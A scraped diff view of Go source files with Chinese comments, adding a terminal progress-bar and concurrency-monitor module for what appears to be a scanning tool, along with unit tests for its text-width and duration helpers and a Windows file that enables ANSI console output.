if pm.state == nil {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
packetCount := pm.state.GetPacketCount()
|
||||||
|
if packetCount == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
tcpSuccess := pm.state.GetTCPSuccessPacketCount()
|
||||||
|
tcpFailed := pm.state.GetTCPFailedPacketCount()
|
||||||
|
|
||||||
|
// 简化格式:TCP:成功/失败
|
||||||
|
if tcpSuccess > 0 || tcpFailed > 0 {
|
||||||
|
return fmt.Sprintf("TCP:%d/%d", tcpSuccess, tcpFailed)
|
||||||
|
}
|
||||||
|
|
||||||
|
return fmt.Sprintf("Pkt:%d", packetCount)
|
||||||
|
}
|
||||||
|
|
||||||
|
// showCompletionInfo 显示完成信息
|
||||||
|
func (pm *ProgressManager) showCompletionInfo() {
|
||||||
|
elapsed := time.Since(pm.startTime)
|
||||||
|
|
||||||
|
// 换行并显示完成信息
|
||||||
|
fmt.Print("\n")
|
||||||
|
|
||||||
|
completionMsg := i18n.GetText("progress_scan_completed")
|
||||||
|
doneMsg := i18n.GetText("progress_done")
|
||||||
|
durationMsg := i18n.GetText("progress_duration")
|
||||||
|
total := pm.total.Load()
|
||||||
|
if pm.noColor {
|
||||||
|
fmt.Printf("[%s] %s: %d/%d (%s: %s)\n",
|
||||||
|
doneMsg, completionMsg, total, total, durationMsg, formatDuration(elapsed))
|
||||||
|
} else {
|
||||||
|
fmt.Printf("%s[%s] %s: %d/%d%s %s(%s: %s)%s\n",
|
||||||
|
AnsiGreen, doneMsg, completionMsg, total, total, AnsiReset,
|
||||||
|
AnsiGray, durationMsg, formatDuration(elapsed), AnsiReset)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// clearProgressArea 清理进度条区域
|
||||||
|
func (pm *ProgressManager) clearProgressArea() {
|
||||||
|
// 简单清除当前行
|
||||||
|
fmt.Print(AnsiClearLine)
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsActive 检查进度条是否活跃
|
||||||
|
func (pm *ProgressManager) IsActive() bool {
|
||||||
|
pm.mu.RLock()
|
||||||
|
defer pm.mu.RUnlock()
|
||||||
|
return pm.isActive.Load() && pm.enabled
|
||||||
|
}
|
||||||
|
|
||||||
|
// getTerminalHeight 获取终端高度
|
||||||
|
func getTerminalHeight() int {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
|
||||||
|
// getTerminalWidth 获取终端宽度
|
||||||
|
func getTerminalWidth() int {
|
||||||
|
width, _, err := term.GetSize(int(os.Stdout.Fd()))
|
||||||
|
if err != nil || width <= 0 {
|
||||||
|
return defaultTerminalWidth
|
||||||
|
}
|
||||||
|
return width
|
||||||
|
}
|
||||||
|
|
||||||
|
// displayWidth 计算字符串的显示宽度(中文字符占2列)
|
||||||
|
func displayWidth(s string) int {
|
||||||
|
width := 0
|
||||||
|
for _, r := range s {
|
||||||
|
if r >= 0x4E00 && r <= 0x9FFF || // CJK统一汉字
|
||||||
|
r >= 0x3000 && r <= 0x303F || // CJK标点
|
||||||
|
r >= 0xFF00 && r <= 0xFFEF { // 全角字符
|
||||||
|
width += 2
|
||||||
|
} else if r >= 0x2600 && r <= 0x27BF || // 杂项符号
|
||||||
|
r >= 0x2700 && r <= 0x27BF { // 装饰符号
|
||||||
|
width += 2
|
||||||
|
} else {
|
||||||
|
width += 1
|
||||||
|
}
|
||||||
|
}
|
||||||
|
return width
|
||||||
|
}
|
||||||
|
|
||||||
|
// truncateToWidth 截断字符串到指定显示宽度
|
||||||
|
func truncateToWidth(s string, maxWidth int) string {
|
||||||
|
if maxWidth <= 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
currentWidth := 0
|
||||||
|
result := strings.Builder{}
|
||||||
|
|
||||||
|
for _, r := range s {
|
||||||
|
var charWidth int
|
||||||
|
if r >= 0x4E00 && r <= 0x9FFF ||
|
||||||
|
r >= 0x3000 && r <= 0x303F ||
|
||||||
|
r >= 0xFF00 && r <= 0xFFEF ||
|
||||||
|
r >= 0x2600 && r <= 0x27BF ||
|
||||||
|
r >= 0x2700 && r <= 0x27BF {
|
||||||
|
charWidth = 2
|
||||||
|
} else {
|
||||||
|
charWidth = 1
|
||||||
|
}
|
||||||
|
|
||||||
|
if currentWidth+charWidth > maxWidth {
|
||||||
|
break
|
||||||
|
}
|
||||||
|
result.WriteRune(r)
|
||||||
|
currentWidth += charWidth
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// stripAnsiCodes 移除 ANSI 转义码,用于计算实际显示宽度
|
||||||
|
func stripAnsiCodes(s string) string {
|
||||||
|
result := strings.Builder{}
|
||||||
|
inEscape := false
|
||||||
|
|
||||||
|
for i := 0; i < len(s); {
|
||||||
|
if s[i] == '\033' && i+1 < len(s) && s[i+1] == '[' {
|
||||||
|
inEscape = true
|
||||||
|
i += 2
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
if inEscape {
|
||||||
|
if (s[i] >= 'A' && s[i] <= 'Z') || (s[i] >= 'a' && s[i] <= 'z') {
|
||||||
|
inEscape = false
|
||||||
|
}
|
||||||
|
i++
|
||||||
|
continue
|
||||||
|
}
|
||||||
|
r, size := utf8.DecodeRuneInString(s[i:])
|
||||||
|
result.WriteRune(r)
|
||||||
|
i += size
|
||||||
|
}
|
||||||
|
|
||||||
|
return result.String()
|
||||||
|
}
|
||||||
|
|
||||||
|
// formatDuration 格式化时间间隔
|
||||||
|
func formatDuration(d time.Duration) string {
|
||||||
|
if d < time.Minute {
|
||||||
|
return fmt.Sprintf("%.1fs", d.Seconds())
|
||||||
|
}
|
||||||
|
if d < time.Hour {
|
||||||
|
return fmt.Sprintf("%.1fm", d.Minutes())
|
||||||
|
}
|
||||||
|
return fmt.Sprintf("%.1fh", d.Hours())
|
||||||
|
}
|
||||||
|
|
||||||
|
// InitProgressBar 初始化进度条(全局函数,方便其他模块调用)
|
||||||
|
func InitProgressBar(total int64, description string) {
|
||||||
|
GetProgressManager().InitProgress(total, description)
|
||||||
|
}
|
||||||
|
|
||||||
|
// UpdateProgressBar 更新进度条
|
||||||
|
func UpdateProgressBar(increment int64) {
|
||||||
|
GetProgressManager().UpdateProgress(increment)
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================================
|
||||||
|
// 已删除的死代码(未使用):SetProgressBar 全局函数
|
||||||
|
// =============================================================================================
|
||||||
|
|
||||||
|
// FinishProgressBar 完成进度条
|
||||||
|
func FinishProgressBar() {
|
||||||
|
GetProgressManager().FinishProgress()
|
||||||
|
}
|
||||||
|
|
||||||
|
// IsProgressActive 检查进度条是否活跃
|
||||||
|
func IsProgressActive() bool {
|
||||||
|
return GetProgressManager().IsActive()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetProgressPercent 获取当前进度百分比 (0-100)
|
||||||
|
func GetProgressPercent() float64 {
|
||||||
|
return GetProgressManager().GetPercent()
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPercent 获取当前进度百分比
|
||||||
|
func (pm *ProgressManager) GetPercent() float64 {
|
||||||
|
pm.mu.RLock()
|
||||||
|
defer pm.mu.RUnlock()
|
||||||
|
|
||||||
|
if !pm.isActive.Load() || pm.total.Load() == 0 {
|
||||||
|
return 0
|
||||||
|
}
|
||||||
|
return float64(pm.current.Load()) / float64(pm.total.Load()) * 100
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 日志输出协调功能
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// LogWithProgress 在进度条活跃时协调日志输出
|
||||||
|
func LogWithProgress(message string) {
|
||||||
|
if cfg := GetGlobalConfig(); cfg != nil && cfg.Output.Silent {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pm := GetProgressManager()
|
||||||
|
if !pm.IsActive() {
|
||||||
|
// 如果进度条不活跃,直接输出
|
||||||
|
fmt.Println(message)
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pm.outputMutex.Lock()
|
||||||
|
defer pm.outputMutex.Unlock()
|
||||||
|
|
||||||
|
// 清除当前行(清除进度条)
|
||||||
|
// Windows 通过 progress_manager_win.go 已启用 ANSI 支持
|
||||||
|
fmt.Print(AnsiClearLine)
|
||||||
|
|
||||||
|
// 输出日志消息
|
||||||
|
fmt.Println(message)
|
||||||
|
|
||||||
|
// 不重绘进度条,等待下次 UpdateProgress 自动绘制
|
||||||
|
}
|
||||||
|
|
||||||
|
// renderProgressUnsafe 不加锁的进度条渲染(内部使用)
|
||||||
|
func (pm *ProgressManager) renderProgressUnsafe() {
|
||||||
|
if !pm.enabled || !pm.isActive.Load() {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
// 计算当前百分比(避免除零)
|
||||||
|
currentPercent := 0
|
||||||
|
if pm.total.Load() > 0 {
|
||||||
|
currentPercent = int((pm.current.Load() * 100) / pm.total.Load())
|
||||||
|
}
|
||||||
|
|
||||||
|
// 只在百分比变化时更新,减少不必要的渲染
|
||||||
|
if currentPercent == pm.lastRenderedPercent && currentPercent < 100 {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
pm.lastRenderedPercent = currentPercent
|
||||||
|
|
||||||
|
// 获取终端宽度
|
||||||
|
termWidth := getTerminalWidth()
|
||||||
|
|
||||||
|
// 生成进度条内容
|
||||||
|
progressBar := pm.generateProgressBar()
|
||||||
|
|
||||||
|
// 计算实际显示宽度(去除 ANSI 码后)
|
||||||
|
plainBar := stripAnsiCodes(progressBar)
|
||||||
|
actualWidth := displayWidth(plainBar)
|
||||||
|
|
||||||
|
// 如果超过终端宽度,截断内容
|
||||||
|
// 预留 1 字符防止边界问题
|
||||||
|
maxWidth := termWidth - 1
|
||||||
|
if actualWidth > maxWidth {
|
||||||
|
// 截断纯文本部分
|
||||||
|
progressBar = truncateToWidth(plainBar, maxWidth)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 清除当前行并移动到行首
|
||||||
|
// 使用空格覆盖旧内容,确保不留残留
|
||||||
|
clearStr := "\r" + strings.Repeat(" ", termWidth-1) + "\r"
|
||||||
|
fmt.Print(clearStr)
|
||||||
|
|
||||||
|
// 输出进度条(带颜色,如果启用)
|
||||||
|
if pm.noColor {
|
||||||
|
fmt.Print(progressBar)
|
||||||
|
} else {
|
||||||
|
fmt.Printf("%s%s%s", AnsiCyan, progressBar, AnsiReset)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 刷新输出
|
||||||
|
_ = os.Stdout.Sync()
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 活跃指示器相关方法
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// startActivityIndicator 启动活跃指示器
|
||||||
|
func (pm *ProgressManager) startActivityIndicator() {
|
||||||
|
// 防止重复启动
|
||||||
|
if pm.activityTicker != nil {
|
||||||
|
return
|
||||||
|
}
|
||||||
|
|
||||||
|
pm.activityTicker = time.NewTicker(activityUpdateInterval)
|
||||||
|
pm.stopActivityChan = make(chan struct{})
|
||||||
|
|
||||||
|
go func() {
|
||||||
|
for {
|
||||||
|
select {
|
||||||
|
case <-pm.activityTicker.C:
|
||||||
|
// 只有在活跃状态下才更新指示器
|
||||||
|
if pm.isActive.Load() && pm.enabled {
|
||||||
|
pm.mu.Lock()
|
||||||
|
pm.spinnerIndex = (pm.spinnerIndex + 1) % len(spinnerChars)
|
||||||
|
pm.mu.Unlock()
|
||||||
|
|
||||||
|
// 只有在长时间没有进度更新时才重新渲染
|
||||||
|
// 这样可以避免频繁更新时的性能问题
|
||||||
|
if time.Since(pm.lastActivity) > 2*time.Second {
|
||||||
|
pm.renderProgress()
|
||||||
|
}
|
||||||
|
}
|
||||||
|
case <-pm.stopActivityChan:
|
||||||
|
return
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}()
|
||||||
|
}
|
||||||
|
|
||||||
|
// stopActivityIndicator 停止活跃指示器
|
||||||
|
func (pm *ProgressManager) stopActivityIndicator() {
|
||||||
|
if pm.activityTicker != nil {
|
||||||
|
pm.activityTicker.Stop()
|
||||||
|
pm.activityTicker = nil
|
||||||
|
}
|
||||||
|
|
||||||
|
if pm.stopActivityChan != nil {
|
||||||
|
close(pm.stopActivityChan)
|
||||||
|
pm.stopActivityChan = nil
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
// getActivityIndicator 获取当前活跃指示器字符
|
||||||
|
func (pm *ProgressManager) getActivityIndicator() string {
|
||||||
|
// 如果最近有活动(2秒内),显示静态指示器
|
||||||
|
if time.Since(pm.lastActivity) <= 2*time.Second {
|
||||||
|
return "●" // 实心圆表示活跃
|
||||||
|
}
|
||||||
|
|
||||||
|
// 如果长时间没有活动,显示旋转指示器表明程序仍在运行
|
||||||
|
return spinnerChars[pm.spinnerIndex]
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 并发监控器 (从 concurrency_monitor.go 合并)
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
/*
|
||||||
|
ConcurrencyMonitor - 并发监控器
|
||||||
|
|
||||||
|
监控两个层级的并发:
|
||||||
|
1. 主扫描器线程数 (-t 参数控制)
|
||||||
|
2. 插件内连接线程数 (-mt 参数控制)
|
||||||
|
*/
|
||||||
|
|
||||||
|
// ConcurrencyMonitor 并发监控器
|
||||||
|
type ConcurrencyMonitor struct {
|
||||||
|
// 主扫描器层级
|
||||||
|
activePluginTasks atomic.Int64 // 当前活跃的插件任务数
|
||||||
|
totalPluginTasks atomic.Int64 // 总插件任务数
|
||||||
|
|
||||||
|
// 插件内连接层级已移除 - 原代码为死代码,无任何调用者
|
||||||
|
}
|
||||||
|
|
||||||
|
// 已移除 PluginConnectionInfo 结构体 - 原为死代码,无任何使用
|
||||||
|
|
||||||
|
var (
|
||||||
|
globalConcurrencyMonitor *ConcurrencyMonitor
|
||||||
|
concurrencyMutex sync.Once
|
||||||
|
)
|
||||||
|
|
||||||
|
// GetConcurrencyMonitor 获取全局并发监控器
|
||||||
|
func GetConcurrencyMonitor() *ConcurrencyMonitor {
|
||||||
|
concurrencyMutex.Do(func() {
|
||||||
|
globalConcurrencyMonitor = &ConcurrencyMonitor{}
|
||||||
|
})
|
||||||
|
return globalConcurrencyMonitor
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 主扫描器层级监控
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// StartPluginTask 开始插件任务
|
||||||
|
func (m *ConcurrencyMonitor) StartPluginTask() {
|
||||||
|
m.activePluginTasks.Add(1)
|
||||||
|
m.totalPluginTasks.Add(1)
|
||||||
|
}
|
||||||
|
|
||||||
|
// FinishPluginTask 完成插件任务
|
||||||
|
func (m *ConcurrencyMonitor) FinishPluginTask() {
|
||||||
|
m.activePluginTasks.Add(-1)
|
||||||
|
}
|
||||||
|
|
||||||
|
// GetPluginTaskStats 获取插件任务统计
|
||||||
|
func (m *ConcurrencyMonitor) GetPluginTaskStats() (active int64, total int64) {
|
||||||
|
return m.activePluginTasks.Load(), m.totalPluginTasks.Load()
|
||||||
|
}
|
||||||
|
|
||||||
|
// =============================================================================
|
||||||
|
// 已移除插件内连接层级监控 - 原为死代码,无任何调用者
|
||||||
|
// =============================================================================
|
||||||
|
|
||||||
|
// 已移除未使用的 Reset 方法
|
||||||
|
|
||||||
|
// GetConcurrencyStatus 获取并发状态字符串
|
||||||
|
func (m *ConcurrencyMonitor) GetConcurrencyStatus() string {
|
||||||
|
activePlugins, _ := m.GetPluginTaskStats()
|
||||||
|
|
||||||
|
if activePlugins == 0 {
|
||||||
|
return ""
|
||||||
|
}
|
||||||
|
|
||||||
|
return fmt.Sprintf("%s:%d", i18n.GetText("concurrency_plugin"), activePlugins)
|
||||||
|
}
|
||||||
|
|
||||||
|
// 已移除未使用的 GetDetailedStatus 方法
|
||||||
@@ -0,0 +1,102 @@
|
|||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"strings"
|
||||||
|
"testing"
|
||||||
|
"time"
|
||||||
|
)
|
||||||
|
|
||||||
|
func TestProgressTextHelpers(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
in string
|
||||||
|
want int
|
||||||
|
}{
|
||||||
|
{name: "ascii", in: "abc", want: 3},
|
||||||
|
{name: "cjk", in: "中文", want: 4},
|
||||||
|
{name: "mixed", in: "a中", want: 3},
|
||||||
|
{name: "symbol", in: "★", want: 2},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if got := displayWidth(tt.in); got != tt.want {
|
||||||
|
t.Fatalf("displayWidth(%q) = %d, want %d", tt.in, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
truncateTests := []struct {
|
||||||
|
name string
|
||||||
|
in string
|
||||||
|
width int
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "exact mixed width", in: "abc中文", width: 5, want: "abc中"},
|
||||||
|
{name: "wide char does not fit", in: "中文", width: 1, want: ""},
|
||||||
|
{name: "zero width", in: "abc", width: 0, want: ""},
|
||||||
|
{name: "negative width", in: "abc", width: -1, want: ""},
|
||||||
|
}
|
||||||
|
for _, tt := range truncateTests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if got := truncateToWidth(tt.in, tt.width); got != tt.want {
|
||||||
|
t.Fatalf("truncateToWidth(%q, %d) = %q, want %q", tt.in, tt.width, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
|
||||||
|
if got := stripAnsiCodes("\033[31mred\033[0m plain"); got != "red plain" {
|
||||||
|
t.Fatalf("stripAnsiCodes removed ANSI = %q, want %q", got, "red plain")
|
||||||
|
}
|
||||||
|
if got := stripAnsiCodes("plain"); got != "plain" {
|
||||||
|
t.Fatalf("stripAnsiCodes plain = %q, want plain", got)
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestFormatDuration(t *testing.T) {
|
||||||
|
tests := []struct {
|
||||||
|
name string
|
||||||
|
in time.Duration
|
||||||
|
want string
|
||||||
|
}{
|
||||||
|
{name: "seconds", in: 1500 * time.Millisecond, want: "1.5s"},
|
||||||
|
{name: "minutes", in: 90 * time.Second, want: "1.5m"},
|
||||||
|
{name: "hours", in: 150 * time.Minute, want: "2.5h"},
|
||||||
|
}
|
||||||
|
for _, tt := range tests {
|
||||||
|
t.Run(tt.name, func(t *testing.T) {
|
||||||
|
if got := formatDuration(tt.in); got != tt.want {
|
||||||
|
t.Fatalf("formatDuration(%s) = %q, want %q", tt.in, got, tt.want)
|
||||||
|
}
|
||||||
|
})
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
func TestConcurrencyMonitorTaskStats(t *testing.T) {
|
||||||
|
monitor := &ConcurrencyMonitor{}
|
||||||
|
|
||||||
|
if status := monitor.GetConcurrencyStatus(); status != "" {
|
||||||
|
t.Fatalf("initial status = %q, want empty", status)
|
||||||
|
}
|
||||||
|
|
||||||
|
monitor.StartPluginTask()
|
||||||
|
monitor.StartPluginTask()
|
||||||
|
|
||||||
|
active, total := monitor.GetPluginTaskStats()
|
||||||
|
if active != 2 || total != 2 {
|
||||||
|
t.Fatalf("stats after start = active %d total %d, want 2/2", active, total)
|
||||||
|
}
|
||||||
|
if status := monitor.GetConcurrencyStatus(); !strings.HasSuffix(status, ":2") {
|
||||||
|
t.Fatalf("status after start = %q, want suffix :2", status)
|
||||||
|
}
|
||||||
|
|
||||||
|
monitor.FinishPluginTask()
|
||||||
|
active, total = monitor.GetPluginTaskStats()
|
||||||
|
if active != 1 || total != 2 {
|
||||||
|
t.Fatalf("stats after one finish = active %d total %d, want 1/2", active, total)
|
||||||
|
}
|
||||||
|
|
||||||
|
monitor.FinishPluginTask()
|
||||||
|
if status := monitor.GetConcurrencyStatus(); status != "" {
|
||||||
|
t.Fatalf("status after all finish = %q, want empty", status)
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,24 @@
|
|||||||
|
//go:build windows
|
||||||
|
|
||||||
|
package common
|
||||||
|
|
||||||
|
import (
|
||||||
|
"os"
|
||||||
|
|
||||||
|
"golang.org/x/sys/windows"
|
||||||
|
)
|
||||||
|
|
||||||
|
// init 在包加载时自动启用 Windows 终端的 ANSI 支持
|
||||||
|
func init() {
|
||||||
|
enableVirtualTerminalProcessing()
|
||||||
|
}
|
||||||
|
|
||||||
|
// enableVirtualTerminalProcessing 启用 Windows 控制台的虚拟终端处理
|
||||||
|
// 使 Windows 终端支持 ANSI 转义码(如 \r, \033[2K 等)
|
||||||
|
func enableVirtualTerminalProcessing() {
|
||||||
|
handle := windows.Handle(os.Stdout.Fd())
|
||||||
|
|
||||||
|
var mode uint32
|
||||||
|
_ = windows.GetConsoleMode(handle, &mode)
|
||||||
|
_ = windows.SetConsoleMode(handle, mode|windows.ENABLE_VIRTUAL_TERMINAL_PROCESSING)
|
||||||
|
}
|
||||||
Some files were not shown because too many files have changed in this diff Show More
Reference in New Issue
Block a user